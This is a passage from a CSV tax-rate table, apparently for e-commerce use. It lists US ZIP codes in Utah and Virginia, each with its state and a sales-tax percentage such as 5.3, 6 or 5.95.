US-UT-84760,US,UT,84760,5.95,,,, US-UT-84761,US,UT,84761,5.95,,,, US-UT-84762,US,UT,84762,6.95,,,, US-UT-84763,US,UT,84763,7.55,,,, US-UT-84764,US,UT,84764,7.95,,,, US-UT-84765,US,UT,84765,6.25,,,, US-UT-84766,US,UT,84766,5.95,,,, US-UT-84767,US,UT,84767,7.55,,,, US-UT-84770,US,UT,84770,6.25,,,, US-UT-84771,US,UT,84771,6.25,,,, US-UT-84772,US,UT,84772,5.95,,,, US-UT-84773,US,UT,84773,5.95,,,, US-UT-84774,US,UT,84774,5.95,,,, US-UT-84775,US,UT,84775,5.95,,,, US-UT-84776,US,UT,84776,7.95,,,, US-UT-84779,US,UT,84779,5.95,,,, US-UT-84780,US,UT,84780,6.25,,,, US-UT-84781,US,UT,84781,5.95,,,, US-UT-84782,US,UT,84782,5.95,,,, US-UT-84783,US,UT,84783,5.95,,,, US-UT-84790,US,UT,84790,6.25,,,, US-UT-84791,US,UT,84791,6.25,,,, US-VA-20101,US,VA,20101,6,,,, US-VA-20102,US,VA,20102,6,,,, US-VA-20103,US,VA,20103,6,,,, US-VA-20104,US,VA,20104,6,,,, US-VA-20105,US,VA,20105,6,,,, US-VA-20106,US,VA,20106,5.3,,,, US-VA-20108,US,VA,20108,6,,,, US-VA-20109,US,VA,20109,6,,,, US-VA-20110,US,VA,20110,6,,,, US-VA-20111,US,VA,20111,6,,,, US-VA-20112,US,VA,20112,6,,,, US-VA-20113,US,VA,20113,6,,,, US-VA-20115,US,VA,20115,5.3,,,, US-VA-20116,US,VA,20116,5.3,,,, US-VA-20117,US,VA,20117,6,,,, US-VA-20118,US,VA,20118,6,,,, US-VA-20119,US,VA,20119,5.3,,,, US-VA-20120,US,VA,20120,6,,,, US-VA-20121,US,VA,20121,6,,,, US-VA-20122,US,VA,20122,6,,,, US-VA-20124,US,VA,20124,6,,,, US-VA-20128,US,VA,20128,5.3,,,, US-VA-20129,US,VA,20129,6,,,, US-VA-20130,US,VA,20130,5.3,,,, US-VA-20131,US,VA,20131,6,,,, US-VA-20132,US,VA,20132,6,,,, US-VA-20134,US,VA,20134,6,,,, US-VA-20135,US,VA,20135,5.3,,,, US-VA-20136,US,VA,20136,6,,,, US-VA-20137,US,VA,20137,5.3,,,, US-VA-20138,US,VA,20138,5.3,,,, US-VA-20139,US,VA,20139,5.3,,,, US-VA-20140,US,VA,20140,5.3,,,, US-VA-20141,US,VA,20141,6,,,, US-VA-20142,US,VA,20142,6,,,, US-VA-20143,US,VA,20143,6,,,, US-VA-20144,US,VA,20144,5.3,,,, US-VA-20146,US,VA,20146,6,,,, US-VA-20147,US,VA,20147,6,,,, US-VA-20148,US,VA,20148,6,,,, US-VA-20149,US,VA,20149,6,,,, US-VA-20151,US,VA,20151,6,,,, US-VA-20152,US,VA,20152,6,,,, US-VA-20153,US,VA,20153,6,,,, US-VA-20155,US,VA,20155,6,,,, US-VA-20156,US,VA,20156,6,,,, US-VA-20158,US,VA,20158,6,,,, US-VA-20159,US,VA,20159,6,,,, US-VA-20160,US,VA,20160,6,,,, US-VA-20163,US,VA,20163,6,,,, US-VA-20164,US,VA,20164,6,,,, US-VA-20165,US,VA,20165,6,,,, US-VA-20166,US,VA,20166,6,,,, US-VA-20167,US,VA,20167,6,,,, US-VA-20168,US,VA,20168,6,,,, US-VA-20169,US,VA,20169,6,,,, US-VA-20170,US,VA,20170,6,,,, US-VA-20171,US,VA,20171,6,,,, US-VA-20172,US,VA,20172,6,,,, US-VA-20175,US,VA,20175,6,,,, US-VA-20176,US,VA,20176,6,,,, US-VA-20177,US,VA,20177,6,,,, US-VA-20178,US,VA,20178,6,,,, US-VA-20180,US,VA,20180,6,,,, US-VA-20181,US,VA,20181,6,,,, US-VA-20182,US,VA,20182,6,,,, US-VA-20184,US,VA,20184,5.3,,,, US-VA-20185,US,VA,20185,5.3,,,, US-VA-20186,US,VA,20186,5.3,,,, US-VA-20187,US,VA,20187,5.3,,,, US-VA-20188,US,VA,20188,5.3,,,, US-VA-20189,US,VA,20189,6,,,, US-VA-20190,US,VA,20190,6,,,, US-VA-20191,US,VA,20191,6,,,, US-VA-20192,US,VA,20192,6,,,, US-VA-20194,US,VA,20194,6,,,, US-VA-20195,US,VA,20195,6,,,, US-VA-20196,US,VA,20196,6,,,, US-VA-20197,US,VA,20197,6,,,, US-VA-20198,US,VA,20198,5.3,,,, US-VA-22003,US,VA,22003,6,,,, US-VA-22009,US,VA,22009,6,,,, US-VA-22015,US,VA,22015,6,,,, US-VA-22025,US,VA,22025,6,,,, US-VA-22026,US,VA,22026,6,,,, US-VA-22027,US,VA,22027,6,,,, US-VA-22030,US,VA,22030,6,,,, US-VA-22031,US,VA,22031,6,,,, US-VA-22032,US,VA,22032,6,,,, US-VA-22033,US,VA,22033,6,,,, US-VA-22034,US,VA,22034,6,,,, US-VA-22035,US,VA,22035,6,,,, US-VA-22036,US,VA,22036,6,,,, US-VA-22037,US,VA,22037,6,,,, US-VA-22038,US,VA,22038,6,,,, US-VA-22039,US,VA,22039,6,,,, US-VA-22040,US,VA,22040,6,,,, US-VA-22041,US,VA,22041,6,,,, US-VA-22042,US,VA,22042,6,,,, US-VA-22043,US,VA,22043,6,,,, US-VA-22044,US,VA,22044,6,,,, US-VA-22046,US,VA,22046,6,,,, US-VA-22060,US,VA,22060,6,,,, US-VA-22066,US,VA,22066,6,,,, US-VA-22067,US,VA,22067,6,,,, US-VA-22079,US,VA,22079,6,,,, US-VA-22081,US,VA,22081,6,,,, US-VA-22082,US,VA,22082,6,,,, US-VA-22095,US,VA,22095,6,,,, US-VA-22096,US,VA,22096,6,,,, US-VA-22101,US,VA,22101,6,,,, US-VA-22102,US,VA,22102,6,,,, US-VA-22103,US,VA,22103,6,,,, US-VA-22106,US,VA,22106,6,,,, US-VA-22107,US,VA,22107,6,,,, US-VA-22108,US,VA,22108,6,,,, US-VA-22109,US,VA,22109,6,,,, US-VA-22116,US,VA,22116,6,,,, US-VA-22118,US,VA,22118,6,,,, US-VA-22119,US,VA,22119,6,,,, US-VA-22121,US,VA,22121,6,,,, US-VA-22122,US,VA,22122,6,,,, US-VA-22124,US,VA,22124,6,,,, US-VA-22125,US,VA,22125,6,,,, US-VA-22134,US,VA,22134,6,,,, US-VA-22135,US,VA,22135,6,,,, US-VA-22150,US,VA,22150,6,,,, US-VA-22151,US,VA,22151,6,,,, US-VA-22152,US,VA,22152,6,,,, US-VA-22153,US,VA,22153,6,,,, US-VA-22156,US,VA,22156,6,,,, US-VA-22158,US,VA,22158,6,,,, US-VA-22159,US,VA,22159,6,,,, US-VA-22160,US,VA,22160,6,,,, US-VA-22161,US,VA,22161,6,,,, US-VA-22172,US,VA,22172,6,,,, US-VA-22180,US,VA,22180,6,,,, US-VA-22181,US,VA,22181,6,,,, US-VA-22182,US,VA,22182,6,,,, US-VA-22183,US,VA,22183,6,,,, US-VA-22185,US,VA,22185,6,,,, US-VA-22191,US,VA,22191,6,,,, US-VA-22192,US,VA,22192,6,,,, US-VA-22193,US,VA,22193,6,,,, US-VA-22194,US,VA,22194,6,,,, US-VA-22195,US,VA,22195,6,,,, US-VA-22199,US,VA,22199,6,,,, US-VA-22201,US,VA,22201,6,,,, US-VA-22202,US,VA,22202,6,,,, US-VA-22203,US,VA,22203,6,,,, US-VA-22204,US,VA,22204,6,,,, US-VA-22205,US,VA,22205,6,,,, US-VA-22206,US,VA,22206,6,,,, US-VA-22207,US,VA,22207,6,,,, US-VA-22209,US,VA,22209,6,,,, US-VA-22210,US,VA,22210,6,,,, US-VA-22211,US,VA,22211,6,,,, US-VA-22212,US,VA,22212,6,,,, US-VA-22213,US,VA,22213,6,,,, US-VA-22214,US,VA,22214,6,,,, US-VA-22215,US,VA,22215,6,,,, US-VA-22216,US,VA,22216,6,,,, US-VA-22217,US,VA,22217,6,,,, US-VA-22219,US,VA,22219,6,,,, US-VA-22225,US,VA,22225,6,,,, US-VA-22226,US,VA,22226,6,,,, US-VA-22227,US,VA,22227,6,,,, US-VA-22230,US,VA,22230,6,,,, US-VA-22240,US,VA,22240,6,,,, US-VA-22241,US,VA,22241,6,,,, US-VA-22242,US,VA,22242,6,,,, US-VA-22243,US,VA,22243,6,,,, US-VA-22244,US,VA,22244,6,,,, US-VA-22245,US,VA,22245,6,,,, US-VA-22246,US,VA,22246,6,,,, US-VA-22301,US,VA,22301,6,,,, US-VA-22302,US,VA,22302,6,,,, US-VA-22303,US,VA,22303,6,,,, US-VA-22304,US,VA,22304,6,,,, US-VA-22305,US,VA,22305,6,,,, US-VA-22306,US,VA,22306,6,,,, US-VA-22307,US,VA,22307,6,,,, US-VA-22308,US,VA,22308,6,,,, US-VA-22309,US,VA,22309,6,,,, US-VA-22310,US,VA,22310,6,,,, US-VA-22311,US,VA,22311,6,,,, US-VA-22312,US,VA,22312,6,,,, US-VA-22313,US,VA,22313,6,,,, US-VA-22314,US,VA,22314,6,,,, US-VA-22315,US,VA,22315,6,,,, US-VA-22320,US,VA,22320,6,,,, US-VA-22331,US,VA,22331,6,,,, US-VA-22332,US,VA,22332,6,,,, US-VA-22333,US,VA,22333,6,,,, US-VA-22334,US,VA,22334,6,,,, US-VA-22350,US,VA,22350,6,,,, US-VA-22401,US,VA,22401,5.3,,,, US-VA-22402,US,VA,22402,5.3,,,, US-VA-22403,US,VA,22403,5.3,,,, US-VA-22404,US,VA,22404,5.3,,,, US-VA-22405,US,VA,22405,5.3,,,, US-VA-22406,US,VA,22406,5.3,,,, US-VA-22407,US,VA,22407,5.3,,,, US-VA-22408,US,VA,22408,5.3,,,, US-VA-22412,US,VA,22412,5.3,,,, US-VA-22427,US,VA,22427,5.3,,,, US-VA-22428,US,VA,22428,5.3,,,, US-VA-22430,US,VA,22430,5.3,,,, US-VA-22432,US,VA,22432,5.3,,,, US-VA-22433,US,VA,22433,5.3,,,, US-VA-22435,US,VA,22435,5.3,,,, US-VA-22436,US,VA,22436,5.3,,,, US-VA-22437,US,VA,22437,5.3,,,, US-VA-22438,US,VA,22438,5.3,,,, US-VA-22442,US,VA,22442,5.3,,,, US-VA-22443,US,VA,22443,5.3,,,, US-VA-22446,US,VA,22446,5.3,,,, US-VA-22448,US,VA,22448,5.3,,,, US-VA-22451,US,VA,22451,5.3,,,, US-VA-22454,US,VA,22454,5.3,,,, US-VA-22456,US,VA,22456,5.3,,,, US-VA-22460,US,VA,22460,5.3,,,, US-VA-22463,US,VA,22463,5.3,,,, US-VA-22469,US,VA,22469,5.3,,,, US-VA-22471,US,VA,22471,5.3,,,, US-VA-22472,US,VA,22472,5.3,,,, US-VA-22473,US,VA,22473,5.3,,,, US-VA-22476,US,VA,22476,5.3,,,, US-VA-22480,US,VA,22480,5.3,,,, US-VA-22481,US,VA,22481,5.3,,,, US-VA-22482,US,VA,22482,5.3,,,, US-VA-22485,US,VA,22485,5.3,,,, US-VA-22488,US,VA,22488,5.3,,,, US-VA-22501,US,VA,22501,5.3,,,, US-VA-22503,US,VA,22503,5.3,,,, US-VA-22504,US,VA,22504,5.3,,,, US-VA-22507,US,VA,22507,5.3,,,, US-VA-22508,US,VA,22508,5.3,,,, US-VA-22509,US,VA,22509,5.3,,,, US-VA-22511,US,VA,22511,5.3,,,, US-VA-22513,US,VA,22513,5.3,,,, US-VA-22514,US,VA,22514,5.3,,,, US-VA-22517,US,VA,22517,5.3,,,, US-VA-22520,US,VA,22520,5.3,,,, US-VA-22523,US,VA,22523,5.3,,,, US-VA-22524,US,VA,22524,5.3,,,, US-VA-22528,US,VA,22528,5.3,,,, US-VA-22529,US,VA,22529,5.3,,,, US-VA-22530,US,VA,22530,5.3,,,, US-VA-22534,US,VA,22534,5.3,,,, US-VA-22535,US,VA,22535,5.3,,,, US-VA-22538,US,VA,22538,5.3,,,, US-VA-22539,US,VA,22539,5.3,,,, US-VA-22542,US,VA,22542,5.3,,,, US-VA-22544,US,VA,22544,5.3,,,, US-VA-22545,US,VA,22545,5.3,,,, US-VA-22546,US,VA,22546,5.3,,,, US-VA-22548,US,VA,22548,5.3,,,, US-VA-22551,US,VA,22551,5.3,,,, US-VA-22552,US,VA,22552,5.3,,,, US-VA-22553,US,VA,22553,5.3,,,, US-VA-22554,US,VA,22554,5.3,,,, US-VA-22555,US,VA,22555,5.3,,,, US-VA-22556,US,VA,22556,5.3,,,, US-VA-22558,US,VA,22558,5.3,,,, US-VA-22560,US,VA,22560,5.3,,,, US-VA-22565,US,VA,22565,5.3,,,, US-VA-22567,US,VA,22567,5.3,,,, US-VA-22570,US,VA,22570,5.3,,,, US-VA-22572,US,VA,22572,5.3,,,, US-VA-22576,US,VA,22576,5.3,,,, US-VA-22577,US,VA,22577,5.3,,,, US-VA-22578,US,VA,22578,5.3,,,, US-VA-22579,US,VA,22579,5.3,,,, US-VA-22580,US,VA,22580,5.3,,,, US-VA-22581,US,VA,22581,5.3,,,, US-VA-22601,US,VA,22601,5.3,,,, US-VA-22602,US,VA,22602,5.3,,,, US-VA-22603,US,VA,22603,5.3,,,, US-VA-22604,US,VA,22604,5.3,,,, US-VA-22610,US,VA,22610,5.3,,,, US-VA-22611,US,VA,22611,5.3,,,, US-VA-22620,US,VA,22620,5.3,,,, US-VA-22622,US,VA,22622,5.3,,,, US-VA-22623,US,VA,22623,5.3,,,, US-VA-22624,US,VA,22624,5.3,,,, US-VA-22625,US,VA,22625,5.3,,,, US-VA-22626,US,VA,22626,5.3,,,, US-VA-22627,US,VA,22627,5.3,,,, US-VA-22630,US,VA,22630,5.3,,,, US-VA-22637,US,VA,22637,5.3,,,, US-VA-22639,US,VA,22639,5.3,,,, US-VA-22640,US,VA,22640,5.3,,,, US-VA-22641,US,VA,22641,5.3,,,, US-VA-22642,US,VA,22642,5.3,,,, US-VA-22643,US,VA,22643,5.3,,,, US-VA-22644,US,VA,22644,5.3,,,, US-VA-22645,US,VA,22645,5.3,,,, US-VA-22646,US,VA,22646,5.3,,,, US-VA-22649,US,VA,22649,5.3,,,, US-VA-22650,US,VA,22650,5.3,,,, US-VA-22652,US,VA,22652,5.3,,,, US-VA-22654,US,VA,22654,5.3,,,, US-VA-22655,US,VA,22655,5.3,,,, US-VA-22656,US,VA,22656,5.3,,,, US-VA-22657,US,VA,22657,5.3,,,, US-VA-22660,US,VA,22660,5.3,,,, US-VA-22663,US,VA,22663,5.3,,,, US-VA-22664,US,VA,22664,5.3,,,, US-VA-22701,US,VA,22701,5.3,,,, US-VA-22709,US,VA,22709,5.3,,,, US-VA-22711,US,VA,22711,5.3,,,, US-VA-22712,US,VA,22712,5.3,,,, US-VA-22713,US,VA,22713,5.3,,,, US-VA-22714,US,VA,22714,5.3,,,, US-VA-22715,US,VA,22715,5.3,,,, US-VA-22716,US,VA,22716,5.3,,,, US-VA-22718,US,VA,22718,5.3,,,, US-VA-22719,US,VA,22719,5.3,,,, US-VA-22720,US,VA,22720,5.3,,,, US-VA-22722,US,VA,22722,5.3,,,, US-VA-22723,US,VA,22723,5.3,,,, US-VA-22724,US,VA,22724,5.3,,,, US-VA-22725,US,VA,22725,5.3,,,, US-VA-22726,US,VA,22726,5.3,,,, US-VA-22727,US,VA,22727,5.3,,,, US-VA-22728,US,VA,22728,5.3,,,, US-VA-22729,US,VA,22729,5.3,,,, US-VA-22730,US,VA,22730,5.3,,,, US-VA-22731,US,VA,22731,5.3,,,, US-VA-22732,US,VA,22732,5.3,,,, US-VA-22733,US,VA,22733,5.3,,,, US-VA-22734,US,VA,22734,5.3,,,, US-VA-22735,US,VA,22735,5.3,,,, US-VA-22736,US,VA,22736,5.3,,,, US-VA-22737,US,VA,22737,5.3,,,, US-VA-22738,US,VA,22738,5.3,,,, US-VA-22739,US,VA,22739,5.3,,,, US-VA-22740,US,VA,22740,5.3,,,, US-VA-22741,US,VA,22741,5.3,,,, US-VA-22742,US,VA,22742,5.3,,,, US-VA-22743,US,VA,22743,5.3,,,, US-VA-22746,US,VA,22746,5.3,,,, US-VA-22747,US,VA,22747,5.3,,,, US-VA-22748,US,VA,22748,5.3,,,, US-VA-22749,US,VA,22749,5.3,,,, US-VA-22801,US,VA,22801,5.3,,,, US-VA-22802,US,VA,22802,5.3,,,, US-VA-22803,US,VA,22803,5.3,,,, US-VA-22807,US,VA,22807,5.3,,,, US-VA-22810,US,VA,22810,5.3,,,, US-VA-22811,US,VA,22811,5.3,,,, US-VA-22812,US,VA,22812,5.3,,,, US-VA-22815,US,VA,22815,5.3,,,, US-VA-22820,US,VA,22820,5.3,,,, US-VA-22821,US,VA,22821,5.3,,,, US-VA-22824,US,VA,22824,5.3,,,, US-VA-22827,US,VA,22827,5.3,,,, US-VA-22830,US,VA,22830,5.3,,,, US-VA-22831,US,VA,22831,5.3,,,, US-VA-22832,US,VA,22832,5.3,,,, US-VA-22833,US,VA,22833,5.3,,,, US-VA-22834,US,VA,22834,5.3,,,, US-VA-22835,US,VA,22835,5.3,,,, US-VA-22840,US,VA,22840,5.3,,,, US-VA-22841,US,VA,22841,5.3,,,, US-VA-22842,US,VA,22842,5.3,,,, US-VA-22843,US,VA,22843,5.3,,,, US-VA-22844,US,VA,22844,5.3,,,, US-VA-22845,US,VA,22845,5.3,,,, US-VA-22846,US,VA,22846,5.3,,,, US-VA-22847,US,VA,22847,5.3,,,, US-VA-22848,US,VA,22848,5.3,,,, US-VA-22849,US,VA,22849,5.3,,,, US-VA-22850,US,VA,22850,5.3,,,, US-VA-22851,US,VA,22851,5.3,,,, US-VA-22853,US,VA,22853,5.3,,,, US-VA-22901,US,VA,22901,5.3,,,, US-VA-22902,US,VA,22902,5.3,,,, US-VA-22903,US,VA,22903,5.3,,,, US-VA-22904,US,VA,22904,5.3,,,, US-VA-22905,US,VA,22905,5.3,,,, US-VA-22906,US,VA,22906,5.3,,,, US-VA-22907,US,VA,22907,5.3,,,, US-VA-22908,US,VA,22908,5.3,,,, US-VA-22909,US,VA,22909,5.3,,,, US-VA-22910,US,VA,22910,5.3,,,, US-VA-22911,US,VA,22911,5.3,,,, US-VA-22920,US,VA,22920,5.3,,,, US-VA-22922,US,VA,22922,5.3,,,, US-VA-22923,US,VA,22923,5.3,,,, US-VA-22924,US,VA,22924,5.3,,,, US-VA-22931,US,VA,22931,5.3,,,, US-VA-22932,US,VA,22932,5.3,,,, US-VA-22935,US,VA,22935,5.3,,,, US-VA-22936,US,VA,22936,5.3,,,, US-VA-22937,US,VA,22937,5.3,,,, US-VA-22938,US,VA,22938,5.3,,,, US-VA-22939,US,VA,22939,5.3,,,, US-VA-22940,US,VA,22940,5.3,,,, US-VA-22942,US,VA,22942,5.3,,,, US-VA-22943,US,VA,22943,5.3,,,, US-VA-22945,US,VA,22945,5.3,,,, US-VA-22946,US,VA,22946,5.3,,,, US-VA-22947,US,VA,22947,5.3,,,, US-VA-22948,US,VA,22948,5.3,,,, US-VA-22949,US,VA,22949,5.3,,,, US-VA-22952,US,VA,22952,5.3,,,, US-VA-22957,US,VA,22957,5.3,,,, US-VA-22958,US,VA,22958,5.3,,,, US-VA-22959,US,VA,22959,5.3,,,, US-VA-22960,US,VA,22960,5.3,,,, US-VA-22963,US,VA,22963,5.3,,,, US-VA-22964,US,VA,22964,5.3,,,, US-VA-22967,US,VA,22967,5.3,,,, US-VA-22968,US,VA,22968,5.3,,,, US-VA-22969,US,VA,22969,5.3,,,, US-VA-22971,US,VA,22971,5.3,,,, US-VA-22972,US,VA,22972,5.3,,,, US-VA-22973,US,VA,22973,5.3,,,, US-VA-22974,US,VA,22974,5.3,,,, US-VA-22976,US,VA,22976,5.3,,,, US-VA-22980,US,VA,22980,5.3,,,, US-VA-22987,US,VA,22987,5.3,,,, US-VA-22989,US,VA,22989,5.3,,,, US-VA-23002,US,VA,23002,5.3,,,, US-VA-23003,US,VA,23003,5.3,,,, US-VA-23004,US,VA,23004,5.3,,,, US-VA-23005,US,VA,23005,5.3,,,, US-VA-23009,US,VA,23009,5.3,,,, US-VA-23011,US,VA,23011,5.3,,,, US-VA-23014,US,VA,23014,5.3,,,, US-VA-23015,US,VA,23015,5.3,,,, US-VA-23018,US,VA,23018,5.3,,,, US-VA-23021,US,VA,23021,5.3,,,, US-VA-23022,US,VA,23022,5.3,,,, US-VA-23023,US,VA,23023,5.3,,,, US-VA-23024,US,VA,23024,5.3,,,, US-VA-23025,US,VA,23025,5.3,,,, US-VA-23027,US,VA,23027,5.3,,,, US-VA-23030,US,VA,23030,5.3,,,, US-VA-23031,US,VA,23031,5.3,,,, US-VA-23032,US,VA,23032,5.3,,,, US-VA-23035,US,VA,23035,5.3,,,, US-VA-23038,US,VA,23038,5.3,,,, US-VA-23039,US,VA,23039,5.3,,,, US-VA-23040,US,VA,23040,5.3,,,, US-VA-23043,US,VA,23043,5.3,,,, US-VA-23045,US,VA,23045,5.3,,,, US-VA-23047,US,VA,23047,5.3,,,, US-VA-23050,US,VA,23050,5.3,,,, US-VA-23055,US,VA,23055,5.3,,,, US-VA-23056,US,VA,23056,5.3,,,, US-VA-23058,US,VA,23058,5.3,,,, US-VA-23059,US,VA,23059,5.3,,,, US-VA-23060,US,VA,23060,5.3,,,, US-VA-23061,US,VA,23061,5.3,,,, US-VA-23062,US,VA,23062,5.3,,,, US-VA-23063,US,VA,23063,5.3,,,, US-VA-23064,US,VA,23064,5.3,,,, US-VA-23065,US,VA,23065,5.3,,,, US-VA-23066,US,VA,23066,5.3,,,, US-VA-23067,US,VA,23067,5.3,,,, US-VA-23068,US,VA,23068,5.3,,,, US-VA-23069,US,VA,23069,5.3,,,, US-VA-23070,US,VA,23070,5.3,,,, US-VA-23071,US,VA,23071,5.3,,,, US-VA-23072,US,VA,23072,5.3,,,, US-VA-23075,US,VA,23075,5.3,,,, US-VA-23076,US,VA,23076,5.3,,,, US-VA-23079,US,VA,23079,5.3,,,, US-VA-23081,US,VA,23081,6,,,, US-VA-23083,US,VA,23083,5.3,,,, US-VA-23084,US,VA,23084,5.3,,,, US-VA-23085,US,VA,23085,5.3,,,, US-VA-23086,US,VA,23086,5.3,,,, US-VA-23089,US,VA,23089,5.3,,,, US-VA-23090,US,VA,23090,6,,,, US-VA-23091,US,VA,23091,5.3,,,, US-VA-23092,US,VA,23092,5.3,,,, US-VA-23093,US,VA,23093,5.3,,,, US-VA-23102,US,VA,23102,5.3,,,, US-VA-23103,US,VA,23103,5.3,,,, US-VA-23105,US,VA,23105,5.3,,,, US-VA-23106,US,VA,23106,5.3,,,, US-VA-23107,US,VA,23107,5.3,,,, US-VA-23108,US,VA,23108,5.3,,,, US-VA-23109,US,VA,23109,5.3,,,, US-VA-23110,US,VA,23110,5.3,,,, US-VA-23111,US,VA,23111,5.3,,,, US-VA-23112,US,VA,23112,5.3,,,, US-VA-23113,US,VA,23113,5.3,,,, US-VA-23114,US,VA,23114,5.3,,,, US-VA-23115,US,VA,23115,5.3,,,, US-VA-23116,US,VA,23116,5.3,,,, US-VA-23117,US,VA,23117,5.3,,,, US-VA-23119,US,VA,23119,5.3,,,, US-VA-23120,US,VA,23120,5.3,,,, US-VA-23123,US,VA,23123,5.3,,,, US-VA-23124,US,VA,23124,5.3,,,, US-VA-23125,US,VA,23125,5.3,,,, US-VA-23126,US,VA,23126,5.3,,,, US-VA-23128,US,VA,23128,5.3,,,, US-VA-23129,US,VA,23129,5.3,,,, US-VA-23130,US,VA,23130,5.3,,,, US-VA-23131,US,VA,23131,5.3,,,, US-VA-23138,US,VA,23138,5.3,,,, US-VA-23139,US,VA,23139,5.3,,,, US-VA-23140,US,VA,23140,5.3,,,, US-VA-23141,US,VA,23141,5.3,,,, US-VA-23146,US,VA,23146,5.3,,,, US-VA-23147,US,VA,23147,5.3,,,, US-VA-23148,US,VA,23148,5.3,,,, US-VA-23149,US,VA,23149,5.3,,,, US-VA-23150,US,VA,23150,5.3,,,, US-VA-23153,US,VA,23153,5.3,,,, US-VA-23154,US,VA,23154,5.3,,,, US-VA-23156,US,VA,23156,5.3,,,, US-VA-23160,US,VA,23160,5.3,,,, US-VA-23161,US,VA,23161,5.3,,,, US-VA-23162,US,VA,23162,5.3,,,, US-VA-23163,US,VA,23163,5.3,,,, US-VA-23168,US,VA,23168,6,,,, US-VA-23169,US,VA,23169,5.3,,,, US-VA-23170,US,VA,23170,5.3,,,, US-VA-23173,US,VA,23173,5.3,,,, US-VA-23175,US,VA,23175,5.3,,,, US-VA-23176,US,VA,23176,5.3,,,, US-VA-23177,US,VA,23177,5.3,,,, US-VA-23178,US,VA,23178,5.3,,,, US-VA-23180,US,VA,23180,5.3,,,, US-VA-23181,US,VA,23181,5.3,,,, US-VA-23183,US,VA,23183,5.3,,,, US-VA-23184,US,VA,23184,5.3,,,, US-VA-23185,US,VA,23185,6,,,, US-VA-23186,US,VA,23186,6,,,, US-VA-23187,US,VA,23187,6,,,, US-VA-23188,US,VA,23188,6,,,, US-VA-23190,US,VA,23190,5.3,,,, US-VA-23192,US,VA,23192,5.3,,,, US-VA-23218,US,VA,23218,5.3,,,, US-VA-23219,US,VA,23219,5.3,,,, US-VA-23220,US,VA,23220,5.3,,,, US-VA-23221,US,VA,23221,5.3,,,, US-VA-23222,US,VA,23222,5.3,,,, US-VA-23223,US,VA,23223,5.3,,,, US-VA-23224,US,VA,23224,5.3,,,, US-VA-23225,US,VA,23225,5.3,,,, US-VA-23226,US,VA,23226,5.3,,,, US-VA-23227,US,VA,23227,5.3,,,, US-VA-23228,US,VA,23228,5.3,,,, US-VA-23229,US,VA,23229,5.3,,,, US-VA-23230,US,VA,23230,5.3,,,, US-VA-23231,US,VA,23231,5.3,,,, US-VA-23232,US,VA,23232,5.3,,,, US-VA-23233,US,VA,23233,5.3,,,, US-VA-23234,US,VA,23234,5.3,,,, US-VA-23235,US,VA,23235,5.3,,,, US-VA-23236,US,VA,23236,5.3,,,, US-VA-23237,US,VA,23237,5.3,,,, US-VA-23238,US,VA,23238,5.3,,,, US-VA-23241,US,VA,23241,5.3,,,, US-VA-23242,US,VA,23242,5.3,,,, US-VA-23249,US,VA,23249,5.3,,,, US-VA-23250,US,VA,23250,5.3,,,, US-VA-23255,US,VA,23255,5.3,,,, US-VA-23260,US,VA,23260,5.3,,,, US-VA-23261,US,VA,23261,5.3,,,, US-VA-23269,US,VA,23269,5.3,,,, US-VA-23273,US,VA,23273,5.3,,,, US-VA-23274,US,VA,23274,5.3,,,, US-VA-23276,US,VA,23276,5.3,,,, US-VA-23278,US,VA,23278,5.3,,,, US-VA-23279,US,VA,23279,5.3,,,, US-VA-23282,US,VA,23282,5.3,,,, US-VA-23284,US,VA,23284,5.3,,,, US-VA-23285,US,VA,23285,5.3,,,, US-VA-23286,US,VA,23286,5.3,,,, US-VA-23288,US,VA,23288,5.3,,,, US-VA-23289,US,VA,23289,5.3,,,, US-VA-23290,US,VA,23290,5.3,,,, US-VA-23291,US,VA,23291,5.3,,,, US-VA-23292,US,VA,23292,5.3,,,, US-VA-23293,US,VA,23293,5.3,,,, US-VA-23294,US,VA,23294,5.3,,,, US-VA-23295,US,VA,23295,5.3,,,, US-VA-23297,US,VA,23297,5.3,,,, US-VA-23298,US,VA,23298,5.3,,,, US-VA-23301,US,VA,23301,5.3,,,, US-VA-23302,US,VA,23302,5.3,,,, US-VA-23303,US,VA,23303,5.3,,,, US-VA-23304,US,VA,23304,6,,,, US-VA-23306,US,VA,23306,5.3,,,, US-VA-23307,US,VA,23307,5.3,,,, US-VA-23308,US,VA,23308,5.3,,,, US-VA-23310,US,VA,23310,5.3,,,, US-VA-23313,US,VA,23313,5.3,,,, US-VA-23314,US,VA,23314,6,,,, US-VA-23315,US,VA,23315,6,,,, US-VA-23316,US,VA,23316,5.3,,,, US-VA-23320,US,VA,23320,6,,,, US-VA-23321,US,VA,23321,6,,,, US-VA-23322,US,VA,23322,6,,,, US-VA-23323,US,VA,23323,6,,,, US-VA-23324,US,VA,23324,6,,,, US-VA-23325,US,VA,23325,6,,,, US-VA-23326,US,VA,23326,6,,,, US-VA-23327,US,VA,23327,6,,,, US-VA-23328,US,VA,23328,6,,,, US-VA-23336,US,VA,23336,5.3,,,, US-VA-23337,US,VA,23337,5.3,,,, US-VA-23341,US,VA,23341,5.3,,,, US-VA-23345,US,VA,23345,5.3,,,, US-VA-23347,US,VA,23347,5.3,,,, US-VA-23350,US,VA,23350,5.3,,,, US-VA-23354,US,VA,23354,5.3,,,, US-VA-23356,US,VA,23356,5.3,,,, US-VA-23357,US,VA,23357,5.3,,,, US-VA-23358,US,VA,23358,5.3,,,, US-VA-23359,US,VA,23359,5.3,,,, US-VA-23389,US,VA,23389,5.3,,,, US-VA-23395,US,VA,23395,5.3,,,, US-VA-23396,US,VA,23396,5.3,,,, US-VA-23397,US,VA,23397,6,,,, US-VA-23398,US,VA,23398,5.3,,,, US-VA-23399,US,VA,23399,5.3,,,, US-VA-23401,US,VA,23401,5.3,,,, US-VA-23404,US,VA,23404,5.3,,,, US-VA-23405,US,VA,23405,5.3,,,, US-VA-23407,US,VA,23407,5.3,,,, US-VA-23408,US,VA,23408,5.3,,,, US-VA-23409,US,VA,23409,5.3,,,, US-VA-23410,US,VA,23410,5.3,,,, US-VA-23412,US,VA,23412,5.3,,,, US-VA-23413,US,VA,23413,5.3,,,, US-VA-23414,US,VA,23414,5.3,,,, US-VA-23415,US,VA,23415,5.3,,,, US-VA-23416,US,VA,23416,5.3,,,, US-VA-23417,US,VA,23417,5.3,,,, US-VA-23418,US,VA,23418,5.3,,,, US-VA-23419,US,VA,23419,5.3,,,, US-VA-23420,US,VA,23420,5.3,,,, US-VA-23421,US,VA,23421,5.3,,,, US-VA-23422,US,VA,23422,5.3,,,, US-VA-23423,US,VA,23423,5.3,,,, US-VA-23424,US,VA,23424,6,,,, US-VA-23426,US,VA,23426,5.3,,,, 